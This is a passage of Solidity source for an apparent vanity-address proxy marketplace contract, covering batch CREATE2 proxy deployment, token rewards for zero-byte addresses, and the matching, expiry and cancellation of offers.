totalTokenValue = totalTokenValue + _processBatchDeployment(proxy);
// add the proxy address to the returned array.
processedProxies[i] = proxy;
}
// mint the total number of created tokens all at once if applicable.
if (totalTokenValue > 0) {
// mint the appropriate number of tokens to the submitter's balance.
_mint(msg.sender, totalTokenValue);
}
// return the populated fixed-size array.
return processedProxies;
}
/**
* @dev Efficient version of batchCreate that uses less gas. The first twenty
* bytes of each salt are automatically populated using the calling address,
* and remaining salt segments are passed in as a packed byte array, using
* twelve bytes per segment, and a function selector of 0x00000000. No values
* will be returned; derived proxies must be calculated seperately or observed
* in event logs. Also note that an attempt to include a salt that tries to
* create a proxy that already exists will cause the entire batch to revert.
*/
function batchCreateEfficient_H6KNX6() external { // solhint-disable-line
// track the total number of tokens to mint at the end of the batch.
uint256 totalTokenValue;
// track the current proxy's deployment address.
address proxy;
// bring init code into memory.
bytes memory initCodeWithParams = _initCode;
// determine length and offset of data.
bytes32 encodedData;
bytes32 encodedSize;
// determine the number of salt segments passed in as part of calldata.
uint256 passedSaltSegments;
// calculate init code length and offset and number of salts using assembly.
assembly { // solhint-disable-line
encodedData := add(0x20, initCodeWithParams) // offset
encodedSize := mload(initCodeWithParams) // length
passedSaltSegments := div(sub(calldatasize, 0x04), 0x0c) // (- sig & / 12)
}
// iterate through each provided salt segment argument.
for (uint256 i; i < passedSaltSegments; i++) {
// using inline assembly: call CREATE2 using msg.sender ++ salt segment.
assembly { // solhint-disable-line
proxy := create2( // call create2 and store output result.
0, // do not forward any value to create2.
encodedData, // set offset of init data in memory.
encodedSize, // set length of init data in memory.
add( // combine msg.sender and provided salt.
shl(0x60, caller), // place msg.sender at start of word.
shr(0xa0, calldataload(add(0x04, mul(i, 0x0c)))) // segment at end.
)
)
}
// increase number of tokens to mint by output of proxy deploy process.
totalTokenValue = totalTokenValue + _processBatchDeployment(proxy);
}
// mint the total number of created tokens all at once if applicable.
if (totalTokenValue > 0) {
// mint the appropriate number of tokens to the submitter's balance.
_mint(msg.sender, totalTokenValue);
}
}
/**
* @dev Create a group of upgradeable proxies and immediately attempt to match
* each with an offer. If an invalid offer ID other than 0 is provided, the
* proxy deployment and match will both be skipped. If a valid offer ID is
* supplied but the proxy has already been deployed, the match will be made
* but proxy creation will be skipped. If the submitter fails to receive an
* attempted payment to the calling address, the entire batch transaction will
* revert. Also note that no tokens are minted until the end of the batch.
* @param salts bytes32[] An array of nonces that will be passed into create2.
* The first 20 bytes of each salt must match those of the calling address.
* @param offerIDs uint256[] The IDs of the offers to match. May be shorter
* than the salts argument, causing execution to proceed in a similar fashion
* to batchCreate but without any return values.
*/
function batchCreateAndMatch(
bytes32[] calldata salts,
uint256[] calldata offerIDs
) external {
// declare variables.
Offer memory offer; // // Offer object with relevant details of the offer.
uint256 totalTokenValue; // total tokens to mint at the end of the batch.
address proxy; // the current proxy's deployment address.
bool hasOffer; // whether an offer has been provided for the current proxy.
// iterate through each provided salt and offer argument.
for (uint256 i; i < salts.length; i++) {
// do not deploy if the caller is not properly encoded in salt argument.
if (address(bytes20(salts[i])) != msg.sender) continue;
// determine if an offer has been provided for the given proxy.
hasOffer = offerIDs.length > i && offerIDs[i] != 0;
// validate offer and check for existing proxy if an offerID was provided.
if (hasOffer) {
// get offer from storage array by index and place it into memory.
offer = _offers[_offerLocations[offerIDs[i]].index];
// validate offer, fulfill if possible, and skip deploy if applicable.
if (_validateAndFulfillExistingMatch(offer, salts[i])) continue;
// deploy the proxy using provided salt.
proxy = _deployProxy(salts[i], _initCode);
// match the proxy, emit events, and add reward to total to be minted.
totalTokenValue = totalTokenValue + _processBatchDeploymentWithMatch(
proxy,
offer
);
} else {
// when no offer has been provided, simply deploy the proxy.
proxy = _deployProxy(salts[i], _initCode);
// register the proxy as usual and add reward to total.
totalTokenValue = totalTokenValue + _processBatchDeployment(proxy);
}
}
// mint the total number of created tokens all at once if applicable.
if (totalTokenValue > 0) {
// mint the appropriate number of tokens to the submitter's balance.
_mint(msg.sender, totalTokenValue);
}
}
/**
* @dev Set a given offer to expire in 24 hours.
* @param offerID uint256 The ID of the offer to schedule expiration on.
*/
function scheduleOfferExpiration(
uint256 offerID
) external offerExists(offerID) returns (uint256 expiration) {
// find the index of the offer by offer ID.
uint256 offerIndex = _offerLocations[offerID].index;
// require that the originator of the offer is the caller.
_requireOnlyOfferOriginator(offerIndex);
// ensure that the offer is not already set to expire.
require(
_offers[offerIndex].expiration == 0,
"Offer has already been set to expire."
);
// determine the expiration time based on the current time.
expiration = now + 24 hours; // solhint-disable-line
// set the offer to expire in 24 hours.
_offers[offerIndex].expiration = expiration;
// emit an event to track that offer was set to expire.
emit OfferSetToExpire(offerID, msg.sender, expiration);
}
/**
* @dev Cancel an expired offer and refund the amount offered.
* @param offerID uint256 The ID of the offer to cancel.
*/
function cancelOffer(
uint256 offerID
) external offerExists(offerID) {
// find the index of the offer by offer ID.
uint256 offerIndex = _offerLocations[offerID].index;
// require that the originator of the offer is the caller.
_requireOnlyOfferOriginator(offerIndex);
// ensure that the offer has been set to expire.
require(
_offers[offerIndex].expiration != 0,
"Offer has not been set to expire."
);
// ensure that the expiration period has concluded.
require(
_offers[offerIndex].expiration < now, // solhint-disable-line
"Offer has not yet expired."
);
// remove the offer from storage and place it into memory.
Offer memory offer = _popOfferFrom(offerIndex);
// transfer the reward back to the originator of the offer.
offer.offerer.transfer(offer.amount);
}
/**
* @dev Compute the address of the upgradeable proxy that will be created when
* submitting a given salt or nonce to the contract. The CREATE2 address is
* computed in accordance with EIP-1014, and adheres to the formula therein of
* `keccak256( 0xff ++ address ++ salt ++ keccak256(init_code)))[12:]` when
* performing the computation. The computed address is then checked for any
* existing contract code - if any is found, the null address will be returned
* instead.
* @param salt bytes32 The nonce that will be passed into the CREATE2 address
* calculation.
* @return Address of the proxy that will be created, or the null address if
* a contract already exists at that address.
*/
function findProxyCreationAddress(
bytes32 salt
) external view returns (address proxy) {
// variable for checking if the current proxy is already deployed.
bool proxyAlreadyCreated;
// perform a dry-run of the proxy contract deployment.
(proxy, proxyAlreadyCreated) = _proxyCreationDryRun(salt);
// if proxy already exists, return the null address to signify failure.
if (proxyAlreadyCreated) {
proxy = address(0);
}
}
/**
* @dev Check a given proxy address against an offer and determine if there is
* a match. The proxy need not already exist in order to check for a match,
* but will of course need to be created before an actual match can be made.
* @param proxy address The address of the proxy to check for a match.
* @param offerID uint256 The ID of the offer to check for a match.
* @return Boolean signifying if the proxy fulfills the offer's requirements.
*/
function matchesOffer(
address proxy,
uint256 offerID
) external view returns (bool hasMatch) {
require(
_offerLocations[offerID].exists,
"No offer found that corresponds to the given offer ID."
);
// get the offer based on the index of the offer ID.
Offer memory offer = _offers[_offerLocations[offerID].index];
/* solhint-disable not-rely-on-time */
// determine match status via expiration, constraints, and offerer balance.
return (
(offer.expiration == 0 || offer.expiration > now) &&
balanceOf(offer.offerer) >= _getReward(proxy) &&
_matchesOfferConstraints(proxy, offer.searchSpace, offer.target)
);
/* solhint-enable not-rely-on-time */
}
/**
* @dev Get the number of "zero" bytes (0x00) in an address (20 bytes long).
* Each zero byte reduces the cost of including address in calldata by 64 gas.
* Each leading zero byte enables the address to be packed that much tighter.
* @param account address The address in question.
* @return The leading number and total number of zero bytes in the address.
*/
function getZeroBytes(address account) external pure returns (
uint256 leadingZeroBytes,
uint256 totalZeroBytes
) {
return _getZeroBytes(account);
}
/**
* @dev Get the token value of an address with a given number of zero bytes.
* An address is valued at 1 token when there are three leading zero bytes.
* @param leadingZeroBytes uint256 The number of leading zero bytes in the
* address.
* @param totalZeroBytes uint256 The total number of zero bytes in the
* address.
* @return The reward size given the number of leading and zero bytes.
*/
function getValue(
uint256 leadingZeroBytes,
uint256 totalZeroBytes
) external view returns (uint256 value) {
return _getValue(leadingZeroBytes, totalZeroBytes);
}
/**
* @dev Get the tokens that must be paid in order to claim a given proxy.
* Note that this function is equivalent to calling getValue on the output of
* getZeroBytes.
* @param proxy address The address of the proxy.
* @return The reward size of the given proxy.
*/
function getReward(address proxy) external view returns (uint256 value) {
return _getReward(proxy);
}
/**
* @dev Count total claimable proxy address w/ given # of leading and total
* zero bytes.
* @param leadingZeroBytes uint256 The desired number of leading zero bytes.
* @param totalZeroBytes uint256 The desired number of total zero bytes.
* @return The total number of claimable proxies.
*/
function countProxiesAt(
uint256 leadingZeroBytes,
uint256 totalZeroBytes
) external view returns (uint256 totalPertinentProxies) {
return _proxies[leadingZeroBytes][totalZeroBytes].length;
}
/**
* @dev Get a claimable proxy address w/ given # of leading and total zero
* bytes at a given index.
* @param leadingZeroBytes uint256 The desired number of leading zero bytes.
* @param totalZeroBytes uint256 The desired number of total zero bytes.
* @param index uint256 The desired index of the proxy in the relevant array.
* @return The address of the claimable proxy (if it exists).
*/
function getProxyAt(
uint256 leadingZeroBytes,
uint256 totalZeroBytes,
uint256 index
) external view returns (address proxy) {
return _proxies[leadingZeroBytes][totalZeroBytes][index];
}
/**
* @dev Count total outstanding offers.
* @return The total number of outstanding offers.
*/
function countOffers() external view returns (uint256 totalOffers) {
return _offers.length;
}
/**
* @dev Get an outstanding offer ID at a given index.
* @param index uint256 The desired index of the offer in the relevant array.
* @return The offerID of the outstanding offer.
*/
function getOfferID(uint256 index) external view returns (uint256 offerID) {
offerID = _offers[index].id;
require(
_offerLocations[offerID].exists,
"No offer found that corresponds to the given offer ID."
);
}
/**
* @dev Get an outstanding offer with a given offerID.
* @param offerID uint256 The desired ID of the offer.
* @return The details of the outstanding offer.
*/
function getOffer(uint256 offerID) external view returns (
uint256 amount,
uint256 expiration,
bytes20 searchSpace,
address target,
address offerer,
address recipient
) {
require(
_offerLocations[offerID].exists,
"No offer found that corresponds to the given offer ID."
);
// get the offer based on the index of the offer ID.
Offer memory offer = _offers[_offerLocations[offerID].index];
return (
offer.amount,
offer.expiration,
offer.searchSpace,
offer.target,
offer.offerer,
offer.recipient
);
}
/**
* @dev Get the address of the logic contract that is implemented on newly
* created proxies.
* @return The address of the proxy implementation.
*/
function getInitialProxyImplementation() external view returns (
address implementation
) {
return _targetImplementation;
}
/**
* @dev Get the initialization code that is used to create each upgradeable
* proxy.
* @return The proxy initialization code.
*/
function getProxyInitializationCode() external view returns (
bytes memory initializationCode
) {
return _initCode;
}
/**
* @dev Get the keccak256 hash of the initialization code used to create
* upgradeable proxies.
* @return The hash of the proxy initialization code.
*/
function getProxyInitializationCodeHash() external view returns (
bytes32 initializationCodeHash
) {
return _initCodeHash;
}
/**
* @dev Check if a proxy at a given address is administered by this contract.
* @param proxy address The address of the proxy.
* @return Boolean that signifies if the proxy is currently administered by
* this contract.
*/
function isAdmin(address proxy) external view returns (bool admin) {
return _isAdmin(proxy);
}
/**
* @dev Internal function to check if a proxy at a given address is
* administered by this contract.
* @param proxy address The address of the proxy.
* @return Boolean that signifies if the proxy is currently administered by
* this contract.
*/
function _isAdmin(address proxy) internal view returns (bool admin) {
/* solhint-disable avoid-low-level-calls */
(bool success, bytes memory result) = proxy.staticcall(
abi.encodeWithSignature("admin()")
);
/* solhint-enable avoid-low-level-calls */
if (success) {
address addr;
assembly { // solhint-disable-line
addr := mload(add(result, 0x20))
}
return addr == address(this);
}
}
/**
* @dev Internal function to create an upgradeable proxy, with this contract
* as avoidthe admin and the target implementation as the initial implementation.
* @param salt bytes32 The nonce that will be passed into create2.
* @param initCodeWithParams bytes The initialization code and constructor
* arguments that will be passed into create2 and used to deploy the proxy.
* @return The address of the new proxy.
*/
function _deployProxy(
bytes32 salt,
bytes memory initCodeWithParams
) internal returns (address proxy) {
// using inline assembly: load data and length of data, then call CREATE2.
assembly { // solhint-disable-line
let encodedData := add(0x20, initCodeWithParams)
let encodedSize := mload(initCodeWithParams)
proxy := create2(
callvalue,
encodedData,
encodedSize,
salt
)
}
}
/**
* @dev Internal function to process a newly-deployed proxy. Stores references
* to the the proxy, assigns a reward, and emits an event.
* @param proxy address The proxy in question.
*/
function _processDeployment(address proxy) internal {
// calculate total number of leading and trailing zero bytes, respectively.
(uint256 leadingZeroBytes, uint256 totalZeroBytes) = _getZeroBytes(proxy);
// set the proxy in the proxy location mapping.
_proxyLocations[proxy] = Location({
exists: true,
index: _proxies[leadingZeroBytes][totalZeroBytes].length
});
// add the proxy to the relevant array in storage.
_proxies[leadingZeroBytes][totalZeroBytes].push(proxy);
// mint tokens to the creator if applicable and emit an event.
_finalizeDeployment(proxy, _getValue(leadingZeroBytes, totalZeroBytes));
}
/**
* @dev Internal function to process a newly-deployed proxy as part of a
* batch. Stores references to the the proxy, emits an event, and returns the
* number of additional tokens that will need to be minted at the end of the
* batch job without actually minting them yet.
* @param proxy address The proxy in question.
* @return The number of additional tokens that will be minted.
*/
function _processBatchDeployment(
address proxy
) internal returns (uint256 proxyTokenValue) {
// calculate total number of leading and trailing zero bytes, respectively.
(uint256 leadingZeroBytes, uint256 totalZeroBytes) = _getZeroBytes(proxy);
// set the proxy in the proxy location mapping.
_proxyLocations[proxy] = Location({
exists: true,
index: _proxies[leadingZeroBytes][totalZeroBytes].length
});
// add the proxy to the relevant array in storage.
_proxies[leadingZeroBytes][totalZeroBytes].push(proxy);
// determine the tokens that will need to be minted on behalf of this proxy.
proxyTokenValue = _getValue(leadingZeroBytes, totalZeroBytes);
// emit an event to track that proxy was created.
emit ProxyCreated(msg.sender, proxyTokenValue, proxy);
}
/**
* @dev Internal function to process a newly-deployed proxy as part of a
* batch while simultaneously performing a match. Does not store the reference
* to the the proxy since it is immediately claimed as part of the match, but
* emits the appropriate events and returns the number of additional tokens
* that will need to be minted at the end of the batch job without actually
* minting them yet.
* @param proxy address The proxy in question.
* @param offer Offer The offer in question.
* @return The number of additional tokens that will be minted.
*/
function _processBatchDeploymentWithMatch(
address proxy,
Offer memory offer
) internal returns (uint256 proxyTokenValue) {
// determine how many tokens, if any, proxy in question is worth.
proxyTokenValue = _getReward(proxy);
// emit an event to track that proxy was created.
emit ProxyCreated(msg.sender, proxyTokenValue, proxy);
// remove the offer from storage array by index.
_popOfferFrom(_offerLocations[offer.id].index);
// burn tokens from claiming address if applicable and emit an event.
_finalizeClaim(offer.offerer, proxy, proxyTokenValue);
// transfer ownership, mark as fulfilled, make payment, and emit an event.
_processOfferFulfillment(proxy, offer);
}
/**
* @dev Internal function to finalize a created proxy. Mints the required
* amount of tokens and emits an event.
* @param proxy address The proxy in question.
* @param proxyTokenValue uint256 how many tokens the given proxy is worth.
*/
function _finalizeDeployment(
address proxy,
uint256 proxyTokenValue
) internal {
if (proxyTokenValue > 0) {
// mint the appropriate number of tokens to the submitter's balance.
_mint(msg.sender, proxyTokenValue);
}
// emit an event to track that proxy was created.
emit ProxyCreated(msg.sender, proxyTokenValue, proxy);
}
/**
* @dev Internal function to finalize a claimed proxy. Burns the required
* amount of tokens and emits an event.
* @param claimant address The address claiming the proxy. Note that this may
* or may not be the same address as the proxy administrator.
* @param proxy address The proxy in question.
* @param proxyTokenValue uint256 how many tokens the given proxy is worth.
*/
function _finalizeClaim(
address claimant,
address proxy,
uint256 proxyTokenValue
) internal {
if (proxyTokenValue > 0) {
// burn the required number of tokens from the recipient's balance.
_burn(claimant, proxyTokenValue);
}
// emit an event to track that proxy was claimed.
emit ProxyClaimed(claimant, proxyTokenValue, proxy);
}
/**
* @dev Internal function to process a fulfilled offer. Clears the offer from
* storage, makes the payment to the submitter, and emits an event. Note that
* a new implementation is not set or initialized when an offer is matched, as
* it would introduce a potential source of failure when performing the match.
* @param proxy address The proxy in question.
* @param offer Offer The offer in question.
*/
function _processOfferFulfillment(
address proxy,
Offer memory offer
) internal {
// set up proxy with the provided owner - skip setting a new implementation.
_transferProxy(proxy, address(0), offer.recipient, "");
// transfer the reward to the match submitter if one is specified.
if (offer.amount > 0) {
msg.sender.transfer(offer.amount);
}
// emit an event to track that offer was fulfilled.
emit OfferFulfilled(offer.id, offer.offerer, msg.sender, offer.amount);
}
/**
* @dev Internal function to validate a given offer and match it if a proxy
* already exists. Used as part of batchCreateAndMatch to ensure that offers
* can be matched even if a given proxy is not deployed.
* @param offer Offer The offer in question that will be validated.
* @param salt bytes32 The salt to use in deriving the location of the proxy.
* @return A boolean signifying if the deployment step should be skipped, due
* to either a bad match or an existing proxy at the derived location.
*/
function _validateAndFulfillExistingMatch(
Offer memory offer,
bytes32 salt
) internal returns (bool willSkipDeployment) {
// declare variable for the computed target address.
address proxyTarget;
// declare variable for whether or not current proxy was already deployed.
bool proxyAlreadyCreated;
// check if the offer is invalid (no recipient or has expired).
if (
offer.recipient == address(0) ||
(offer.expiration != 0 && offer.expiration <= now) // solhint-disable-line
) {
// if so, skip the deployment step.
return true;
}
// perform a dry-run of the proxy contract deployment.
(proxyTarget, proxyAlreadyCreated) = _proxyCreationDryRun(salt);
// determine how many tokens, if any, the given proxy address is worth.
uint256 proxyTokenValue = _getReward(proxyTarget);
// check if offer doesn't match or offerer balance is insufficient.
if (
!_matchesOfferConstraints(proxyTarget, offer.searchSpace, offer.target) ||
balanceOf(offer.offerer) < proxyTokenValue
) {
// if so, skip the deployment step.
return true;
}
// if proxy already exists, go ahead and fulfill the match.
if (proxyAlreadyCreated) {
// remove the offer from storage array by index.
_popOfferFrom(_offerLocations[offer.id].index);
// burn tokens from claiming address if applicable and emit an event.
_finalizeClaim(offer.offerer, proxyTarget, proxyTokenValue);
// transfer ownership, register fulfillment make payment & emit an event.
_processOfferFulfillment(proxyTarget, offer);
// skip the deployment step.
return true;
}
}
/**
* @dev Internal function to assign a new administrator to a proxy. The
* implementation can be upgraded as well, or skipped by leaving the argument
* to the implementation parameter set to the null address.
* @param proxy address The proxy in question.
* @param implementation address The new logic contract to point the proxy to.
* If it is set to the null address, it will not be altered.
* @param owner uint256 address The new administrator of the proxy. If it is
* set to the null address, msg.sender will be used as the owner.
* @param data bytes Optional parameter for calling an initializer on the new
* implementation immediately after it is set.
*/
function _transferProxy(
address proxy,
address implementation,
address owner,
bytes memory data
) internal {
// set up the upgradeable proxy interface.
AdminUpgradeabilityProxyInterface proxyInterface = (
AdminUpgradeabilityProxyInterface(proxy)
);
// if an implementation is provided, set it before transferring admin role.
if (implementation != address(0)) {
if (data.length > 0) {
// if data has been provided, pass it to the appropriate function.
proxyInterface.upgradeToAndCall(implementation, data);
} else {
// otherwise, simply upgrade.
proxyInterface.upgradeTo(implementation);
}
}
if (owner != address(0)) {
// set up the proxy with the new administrator.
proxyInterface.changeAdmin(owner);
} else {
// set up the proxy with the caller as the new administrator.
proxyInterface.changeAdmin(msg.sender);
}
}
/**
* @dev Internal function to pop off a proxy address with a given number of
* leading and total zero bytes from the end of the relevant array.
* @param leadingZeroBytes uint256 The desired number of leading zero bytes.
* @param totalZeroBytes uint256 The desired number of total zero bytes.
* @return The address of the popped proxy.
*/
function _popProxy(
uint256 leadingZeroBytes,
uint256 totalZeroBytes
) internal returns (address proxy) {
// get the total number of proxies with the specified number of zero bytes.
uint256 count = _proxies[leadingZeroBytes][totalZeroBytes].length;
// ensure that at least one proxy with specified zero bytes is available.
require(
count > 0,
"No proxy found that corresponds to the given arguments."
);
// retrieve the proxy at the last index.
proxy = _proxies[leadingZeroBytes][totalZeroBytes][count - 1];
// shorten the _proxies array, which will also delete the last item.
_proxies[leadingZeroBytes][totalZeroBytes].length--;
// remove the proxy from the relevant locations mapping.
delete _proxyLocations[proxy];
}
/**
* @dev Internal function to pop off a proxy address with a given number of
* leading and total zero bytes from any location in the relevant array.
* @param leadingZeroBytes uint256 The desired number of leading zero bytes.
* @param totalZeroBytes uint256 The desired number of total zero bytes.
* @param index uint256 The desired index of the proxy in the relevant array.
* @return The address of the popped proxy.
*/
function _popProxyFrom(
uint256 leadingZeroBytes,
uint256 totalZeroBytes,
uint256 index
) internal returns (address proxy) {
// get the total number of proxies with the specified number of zero bytes.
uint256 count = _proxies[leadingZeroBytes][totalZeroBytes].length;
// ensure that the provided index is within range.
require(
count > index,
"No proxy found that corresponds to the given arguments."
);
// retrieve the proxy from the specified index.
proxy = _proxies[leadingZeroBytes][totalZeroBytes][index];
// retrieve the proxy at the last index.
address lastProxy = _proxies[leadingZeroBytes][totalZeroBytes][count - 1];
// reassign the proxy at the specified index to the proxy at the last index.
_proxies[leadingZeroBytes][totalZeroBytes][index] = lastProxy;
// reassign the index of the last proxy in the locations mapping.
_proxyLocations[lastProxy].index = index;
// shorten the _proxies array, which will also delete redundant last item.
_proxies[leadingZeroBytes][totalZeroBytes].length--;
// remove the proxy from the locations mapping.
delete _proxyLocations[proxy];
}
/**
* @dev Internal function to pop off an offer from the relevant array.
* @param index uint256 The desired index of the offer in the relevant array.
* @return The offer.
*/
function _popOfferFrom(uint256 index) internal returns (Offer memory offer) {
// retrive the offer at the given index.
offer = _offers[index];
// retrive the offer at the last index.
Offer memory lastOffer = _offers[_offers.length - 1];
// reassign the offer at the specified index to the offer at the last index.
_offers[index] = lastOffer;
// reassign the index of the last offer in the locations mapping.
_offerLocations[lastOffer.id].index = index;
// shorten _offers array, which will also delete the redundant last item.
_offers.length--;
// remove the offer from the relevant locations mapping.
delete _offerLocations[offer.id];
}
/**
* @dev Internal function to compute the address of the upgradeable proxy that
* will be created when submitting a given salt or nonce to the contract, as
* well as whether or not said proxy has been created. The CREATE2 address is
* computed in accordance with EIP-1014, and adheres to the formula therein of
* `keccak256( 0xff ++ address ++ salt ++ keccak256(init_code)))[12:]` when
* performing the computation. The computed address is then checked for any
* existing contract code - if any is found, notYetCreated will return false.
* @param salt bytes32 The nonce that will be passed into the CREATE2 address
* calculation.
* @return The proxy creation address and a boolean signifying whether the
* proxy has already been created.
*/
function _proxyCreationDryRun(
bytes32 salt
) internal view returns (address proxy, bool alreadyCreated) {
// variable for checking code size of any pre-existing contract at address.
uint256 existingContractSize;
// determine the contract address where the proxy contract will be created.
proxy = address(
uint160( // downcast to match the address type.
uint256( // convert to uint to truncate upper digits.
keccak256( // compute the CREATE2 hash using 4 inputs.
abi.encodePacked( // pack all inputs to the hash together.
hex"ff", // start with 0xff to distinguish from RLP.
address(this), // this contract will be the caller.
salt, // pass in the supplied salt value.
_initCodeHash // pass in the hash of initialization code.
)
)
)
)
);
// determine if any contract code already exists at computed proxy address.
assembly { // solhint-disable-line
existingContractSize := extcodesize(proxy)
}
// if so, exit and return the null address to signify failure.
if (existingContractSize > 0) {
alreadyCreated = true;
}
}
/**
* @dev Internal function to get the number of "zero" bytes (0x00) in an
* address (20 bytes long). Each zero byte reduces the cost of including
* address in calldata by 64 gas. Each leading zero byte enables the address
* to be packed that much tighter.
* @param account address The address in question.
* @return The leading number and total number of zero bytes in the address.
*/
function _getZeroBytes(address account) internal pure returns (
uint256 leading,
uint256 total
) {
// convert the address to bytes.
bytes20 b = bytes20(account);
// designate a flag that will be flipped once leading zero bytes are found.
bool searchingForLeadingZeroBytes = true;
// iterate through each byte of the address and count the zero bytes found.
for (uint256 i; i < 20; i++) {
if (b[i] == 0) {
total++; // increment the total value if the byte is equal to 0x00.
} else if (searchingForLeadingZeroBytes) {
leading = i; // set leading byte value upon reaching a non-zero byte.
searchingForLeadingZeroBytes = false; // stop search upon finding value.
}
}
// special handling for the null address.
if (total == 20) {
leading = 20;
}
}
/**
* @dev Internal function to get the token value of an address with a given
* number of zero bytes. An address is valued at 1 token when there are three
* leading zero bytes.
* @param leadingZeroBytes uint256 The number of leading zero bytes in the
* address.
* @param totalZeroBytes uint256 The total number of zero bytes in the
* address.
* @return The reward size given the number of leading and zero bytes.
*/
function _getValue(
uint256 leadingZeroBytes,
uint256 totalZeroBytes
) internal view returns (uint256 value) {
// only consider cases where there are at least three zero bytes.
if (totalZeroBytes > 2) {
// find and return the value of a proxy with the given parameters.
return _rewards[uint24(leadingZeroBytes * 20 + totalZeroBytes)];
}
// return 0 in cases where there are two or fewer zero bytes.
return 0;
}
/**
* @dev Internal function to get the tokens that must be paid in order to
* claim a given proxy. Note that this function is equivalent to calling
* _getValue on the output of _getZeroBytes.
* @param proxy address The address of the proxy.
* @return The reward size of the given proxy.
*/
function _getReward(address proxy) internal view returns (uint256 reward) {
// calculate total number of leading and trailing zero bytes, respectively.
(uint256 leadingZeroBytes, uint256 totalZeroBytes) = _getZeroBytes(proxy);
// calculate value of reward based on number of leading & total zero bytes.
return _getValue(leadingZeroBytes, totalZeroBytes);
}
/* solhint-disable function-max-lines */
/**
* @dev Internal function to check a given proxy address against the target
* address based on areas dictated by an associated search space, which can be
* used in determining whether a proxy can be matched to an offer.
* @param proxy address The address of the proxy.
* @param searchSpace bytes20 A sequence of bytes that determines which areas
* of the target address should be matched against. The 0x00 byte means that
* the target byte can be skipped, otherwise each nibble represents a
* different filter condition as indicated by the Condition enum.
* @param target address The targeted address, with each relevant byte and
* nibble determined by the corresponding byte in searchSpace.
* @return Boolean signifying if the proxy fulfills the offer's requirements.
*/
function _matchesOfferConstraints(
address proxy,
bytes20 searchSpace,
address target
) internal pure returns (bool matchIsGood) {
// convert the addresses to bytes.
bytes20 p = bytes20(proxy);
bytes20 t = bytes20(target);
// get the initial nibble of the proxy now to prevent stack depth errors.
uint8 initialNibble = (uint8(p[0]) - uint8(p[0]) % 16) / 16;
// declare variable types.
uint8 leftNibbleProxy;
uint8 rightNibbleProxy;
uint8 leftNibbleSearchSpace;
uint8 rightNibbleSearchSpace;
uint8 leftNibbleTarget;
uint8 rightNibbleTarget;
// get the capitalized characters in the checksum of the proxy.
// optionally check if any search space conditions are case-sensitive first.
bool[40] memory caps = _getChecksumCapitalizedCharacters(proxy);
// iterate over bytes, processing left and right nibble in each iteration.
for (uint256 i; i < p.length; i++) {
// skip bytes in the search space with no match.
if (searchSpace[i] == hex"00") continue;
// get left and right nibble from proxy, search space, and target bytes.
rightNibbleProxy = uint8(p[i]) % 16;
leftNibbleProxy = (uint8(p[i]) - rightNibbleProxy) / 16;
rightNibbleSearchSpace = uint8(searchSpace[i]) % 16;
leftNibbleSearchSpace = (
(uint8(searchSpace[i]) - rightNibbleSearchSpace) / 16);
rightNibbleTarget = uint8(t[i]) % 16;
leftNibbleTarget = (uint8(t[i]) - rightNibbleTarget) / 16;
// check that the left nibble meets the conditions of the offer.
if (
!_nibbleConditionMet(
leftNibbleProxy,
caps[2 * i],
leftNibbleSearchSpace,
leftNibbleTarget
)
) {
uint8 priorNibble = uint8(p[i - 1]) % 16;
if (
!_nibbleRelativeConditionMet(
leftNibbleProxy,
caps[2 * i],
leftNibbleSearchSpace,
priorNibble,
caps[2 * i - 1],
initialNibble,
caps[0]
)
) {
return false;
}
}
// check that the right nibble meets the conditions of the offer.
if (
!_nibbleConditionMet(
rightNibbleProxy,
caps[2 * i + 1],
rightNibbleSearchSpace,
rightNibbleTarget
) && !_nibbleRelativeConditionMet(
rightNibbleProxy,
caps[2 * i + 1],
rightNibbleSearchSpace,
leftNibbleProxy, // priorNibble
caps[2 * i],
initialNibble,
caps[0]
)
) {
return false;
}
}
// return a successful match.
return true;
}
/* solhint-enable function-max-lines */
/**
* @dev Internal function for getting a fixed-size array of whether or not
* each character in an account will be capitalized in the checksum.
* @param account address The account to get the checksum capitalization
* information for.
* @return A fixed-size array of booleans that signify if each character or
* "nibble" of the hex encoding of the address will be capitalized by the
* checksum.
*/
function _getChecksumCapitalizedCharacters(
address account
) internal pure returns (bool[40] memory characterIsCapitalized) {
// convert the address to bytes.
bytes20 a = bytes20(account);
// hash the address (used to calculate checksum).
bytes32 b = keccak256(abi.encodePacked(_toAsciiString(a)));
// declare variable types.
uint8 leftNibbleAddress;
uint8 rightNibbleAddress;
uint8 leftNibbleHash;
uint8 rightNibbleHash;
// iterate over bytes, processing left and right nibble in each iteration.
for (uint256 i; i < a.length; i++) {
// locate the byte and extract each nibble for the address and the hash.
rightNibbleAddress = uint8(a[i]) % 16;
leftNibbleAddress = (uint8(a[i]) - rightNibbleAddress) / 16;
rightNibbleHash = uint8(b[i]) % 16;
leftNibbleHash = (uint8(b[i]) - rightNibbleHash) / 16;
// set the capitalization flags based on the characters and the checksums.
characterIsCapitalized[2 * i] = (
leftNibbleAddress > 9 &&
leftNibbleHash > 7
);
characterIsCapitalized[2 * i + 1] = (
rightNibbleAddress > 9 &&
rightNibbleHash > 7
);
}
}
/**
* @dev Internal function for converting the bytes representation of an
* address to an ASCII string. This function is derived from the function at
* https://ethereum.stackexchange.com/a/56499/48410
* @param data bytes20 The account address to be converted.
* @return The account string in ASCII format. Note that leading "0x" is not
* included.
*/
function _toAsciiString(
bytes20 data
) internal pure returns (string memory asciiString) {
// create an in-memory fixed-size bytes array.
bytes memory asciiBytes = new bytes(40);
// declare variable types.
uint8 b;
uint8 leftNibble;
uint8 rightNibble;
// iterate over bytes, processing left and right nibble in each iteration.
for (uint256 i = 0; i < data.length; i++) {
// locate the byte and extract each nibble.
b = uint8(uint160(data) / (2 ** (8 * (19 - i))));
leftNibble = b / 16;
rightNibble = b - 16 * leftNibble;
// to convert to ascii characters, add 48 to 0-9 and 87 to a-f.
asciiBytes[2 * i] = byte(leftNibble + (leftNibble < 10 ? 48 : 87));
asciiBytes[2 * i + 1] = byte(rightNibble + (rightNibble < 10 ? 48 : 87));
}
return string(asciiBytes);
}
/* solhint-disable code-complexity */
/**
* @dev Internal function for checking if a particular nibble (half-byte or
* single hex character) meets the condition implied by the associated nibble
* in the search space. Note that this function will return false in the event
* a relative condition is passed in as the searchSpace argument; in those
* cases, use _nibbleRelativeConditionMet() instead.
* @param proxy uint8 The nibble from the proxy address to check.
* @param capitalization bool Whether or not the nibble is capitalized in the
* checksum of the address.
* @param searchSpace uint8 The nibble to use in determining which areas of
* the target address should be matched against. The 0x00 byte means that the
* target byte can be skipped, otherwise each nibble represents a different
* filter condition as indicated by the Condition enum.
* @param target uint8 The nibble from the target address to check against.
* @return A boolean indicating if the condition has been met.
*/
function _nibbleConditionMet(
